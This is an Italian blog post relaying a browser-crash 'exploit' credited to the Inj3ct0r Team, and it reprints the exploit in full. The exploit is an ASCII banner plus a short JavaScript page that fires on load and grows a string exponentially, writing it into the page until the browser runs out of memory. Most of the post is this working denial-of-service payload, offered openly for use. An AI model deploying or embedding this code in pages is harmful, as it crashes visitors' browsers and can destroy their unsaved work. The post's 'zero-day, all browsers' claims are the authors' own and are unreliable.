L’Inj3ct0r Team ha recentemente scoperto un exploit che affligge tutti i principali browser mandandoli letteralmente in crash rischiando così la perdita di eventuali sessioni aperte con la possibilità di perdere dati.

Come di consueto, dopo il salto, vi proponiamo l’exploit scritto in poche righe di javascript.

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All browsers 0day Crash Exploit
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1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: Inj3ct0r Team

@Title: All browsers 0day Crash Exploit


@Site: http://site.securityspl0its.com/ - http://forum.securityspl0its.com/ - http://inj3ct0r.com/

@Exploit for all browsers (Tested on: Mozilla Firefox // Internet Explorer // Google Chrome // Netscape // Opera):
<body onload="javascript:DoS();"></body>

<script>

function DoS() {

var buffer = '\x42';
for (i =0;i<666;i++) {
buffer+=buffer+'\x42';
document.write('<html><marquee><h1>'+buffer+buffer);
}

}

</script>
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